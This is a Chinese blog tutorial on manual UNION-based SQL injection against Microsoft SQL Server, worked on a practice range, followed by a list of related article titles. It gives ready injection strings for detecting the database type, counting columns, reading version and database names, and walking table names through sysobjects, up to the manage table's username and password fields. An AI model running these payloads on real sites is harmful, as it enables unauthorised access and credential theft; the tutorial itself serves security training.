MSSQL数据库注入(一)
1. MSSQL注入手工联合注入
mssql数据库相比mysql数据库本质上的框架是差不多的,使用的增,删,改,查命令是互相通的,mysql中使用的函数在mssql中有些会起不到作用点。
- (例如:在mssql中只能用top 取代limt 0,N,row_number() over()函数取代limit N,M)
mssql在使用上和可移植等方面与mysql存在不同的差异。
MSSQL数据库的基本知识
- MSSQL中自带数据库信息
库名 | 相关功能 |
---|---|
master | 系统控制数据库,包含配置信息,用户登录信息,系统运行状态 |
model | 模板数据库,数据库时建立所有数据库的模板。 |
tempdb | 临时容器,保存所有的临时表,存储过程和其他程序交互的临时文件 |
msdb | 主要为用户使用,记录着计划信息、事件处理信息、数据备份、警告以及异常信息 |
- MSSQL系统视图表 (MSSQL数据库与MYSQL数据库一样,自带数据表sysobjects和syscolumns)
视图表 | 功能 |
---|---|
sysobjects | 记录了数据库中所有表,常用字段为id、name和xtype |
syscolumns | 记录了数据库中所有表的字段,常用字段为id、name和xtype |
sys.databases | SQL Server 中所有的数据库 |
sys.sql_logins | SQL Server 中所有的登录名 |
information_schema.tables | 当前用户数据库的表 |
information_schema.columns | 当前用户数据库的列 |
sys.database_files | 存储在数据库中数据库文件 |
Mssql数据库手工联合注入
这里我们使用的靶场环境为墨者学院中Sql Server注入环境
- 判断是否是Mssql数据库类型
and exists(select * from sysobjects) –
and exists(select count(*) from sysobjects) –
- 输入上面的mssql手工注入代码时候,如果不存在报错,更改命令中的代码信息就产生报错,则可以判断数据库类型为Mssql数据库
- 判断mssql数据库的字段长度
order by 5
此处发现order by 5会报错,那我们使用4试试
- 我们发现字段为4未出现报错,所以注入的字段数为4
- 寻找字符型的显示位置
- 注意:在mssql中查找显示位时需要在union select中间添加all,因为union select在mssql中会重复一些字段从而导致报错
- null 表示无论是数字形式还是字符形式
id=-2 and union all select null,null,null,null
4. 通过更改null的字符进行判断显示
id=-2 and union all select null,‘2’,‘3’,null
- 通过第二个和第三个我们发现判断显示的位置,我们获取数据库信息也从这两个显示位置注入。
- 通过命令对数据库进行相关查询
@@version-:获取版本信息
db_name():数据库名字
user,system_user,current_user,user_name:获取当前⽤户名
@@SERVERNAME:获取有关服务器主机的信息
- 查询mssql数据库的版本信息
id=-2 and union all select null,@@verions,‘3’,null
- 这里我们看见mssql数据库的版本信息为sql server 2005
- 查询并获取出数据库名
id=-2 union all select null,db_name(),‘3’,null
- 通过前面获取的数据库名称,获取表名,但是在MSSQL中查询表与MYSQL存在区别。
mysql查询表:union select 1,table_column,3,4 from information_schema.columns where table_name=‘数据库名称’
mssql查询表:union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’),‘3’,4
mssql查询表中只能用top进行对表的版本查询,top查询中xtype=‘u’表示对对xtype中值为u的时候进行搜索,只能是u,如果是其他的值并不能搜索出现
此已经查询到了manage数据表,我们通过添加一个条件语句,使得查询不是‘manage’名称的表就可以继续查询到下一个数据表了
union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’ and name not in(‘manage’)),‘3’,4
9.发现数据表,我们可以继续查询表中对应的字段名称,通过col_name对表中进行查询
- 通过修改在object_id(‘manage’)后面的数字就可以调整想要查看的字段
10.获取到了manage数据表的字段username和password后,我们就可以查看到相关信息
MSSQL数据库注入(一)相关推荐
- 1-9其他数据库注入
文章目录 数据库注入 access数据库 判断access数据库 常用函数 查询语句构造 联合查询 布尔型盲注 mssql数据库 mssql数据库判断 环境---靶机-2k3_sp2 常用函数 查询语 ...
- MSSQL数据库中发现D99_Tmp数据表的处理办法
来源于网络,经过整理 D99_tmp(subdirectory,depth,file三个字段,里面的数据都是网站文件和目录) MSSQL数据库存在几个危险的扩展存储过程,默认Public组可执行权限, ...
- 记一次asp+mssql的注入和命令执行(已脱敏)
记一次asp+mssql的注入和命令执行(已脱敏) 注 前言 复现 总结 注 本文已经首发于freebuff asp+mssql的注入和命令执行(已脱敏) 前言 前一段时间参加了一个活动,这一段时间学 ...
- oracle数据库注入实战,教你oracle注入
大家都知道oracle比较大,11g的安装程序大约在1.4g左右,可能大家遇到oracle的库比较少,oracle+jsp的搭配的比较好... oracle系统库默认的用户有sys,system,in ...
- 网络安全学习--008--SQL注入之Access数据库注入详解
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 Access注入漏洞详解 一:注入漏洞分析 站库分类: 1.网站分类: 静态网页: 不依赖数据库 灵活性差,制作.更新.维护麻烦 交互 ...
- mssql堆叠注入利用总结
mssql堆叠注入利用总结 前言 环境 写webshell xp_dirtree xp_dirtree杀软反应 xp_cmdshell xp_cmdshell杀软反应 通过命令执行拿shell 无杀软 ...
- 永不落幕的数据库注入攻防战
本文根据DBAplus社群第98期线上分享整理而成. 讲师介绍 主题简介: 1.数据库有什么安全问题 2.何为数据库注入 3.数据库注入攻击实战 4.为什么会发生数据库注入 5.数据库注入攻击防御 记 ...
- 图文详解Silverlight访问MSSQL数据库
在银光中国网(SilverlightChina.Net)有一篇"Silverlight与常用数据库互操作系列"文章,其中介绍了使用Silverlight存取不同数据库的方法和步骤. ...
- 【转发】PHP连接MSSQL数据库案例,PHPWAMP多个PHP版本连接SQL Server数据库
转发自:http://blog.csdn.net/lccee/article/details/54289076 课前小知识普及:MSSQL和SQL Server是同一个软件,叫法不同而已,MSSQL全 ...
最新文章
- python pytest_Python项目的pytest初始化
- ping通网关不能上网_手机、电脑为什么连不上网(断网)?
- Web 开发规范 — WSGI
- 1071 mysql_mysql 出现1071错误怎么办
- json schema如何约束为小数_如何使用jsonschema进行接口响应断言
- 15-多容器复杂应用的部署
- p1、查询端口号占用,根据端口查看进程信息/p
- 其他service 单例 工具类_获取不到,虚拟来凑?这个工具不得不学!
- 关于外部测试字段解释冲突
- PHP 结构控制 if else / switch / while / do while
- 【二分答案】【中位数】codeforces 394 bun
- IE浏览器版本 - 升级与降级( IE8、 IE9 、IE10)
- 直播app源码的搭建,仍有许多问题等待我们去解决
- 数据库编程基本练习题
- 软件测试遵循的基本原则
- 知识图谱论文阅读(八)【转】推荐系统遇上深度学习(二十六)--知识图谱与推荐系统结合之DKN模型原理及实现
- 每次启动虚拟机都要重装虚拟机的操作系统
- .NET Core 开源工具 IPTools - 快速查询 IP 地理位置、经纬度信息
- 数据结构--排序算法(冒泡排序)
- 深度之眼Paper带读笔记1:Deep learning
热门文章
- makefile/make用法
- 大学的老师都在干嘛去了
- Java代码弱点与修复之——URL manipulation(URL操纵)
- 自定义的表单提交后 提示感谢您的参与( 停留时间)
- Dell Precision 7920 FB2 Fan failed to respond correctly 解决方案
- zabbix3.4 监控Dell iDrac SNMPV2
- win10计算机网络设置在哪,Win10系统电脑默认网关怎么设置?电脑的默认网关在哪里看?...
- H3C ER3100路由器由于FAST路由器的ARP欺骗导致的断网的处理方法
- 笔记:《高效能人士的七个习惯》第四章 习惯二 以终为始——自我领导的原则
- 系统思考与管理理论——第五项修炼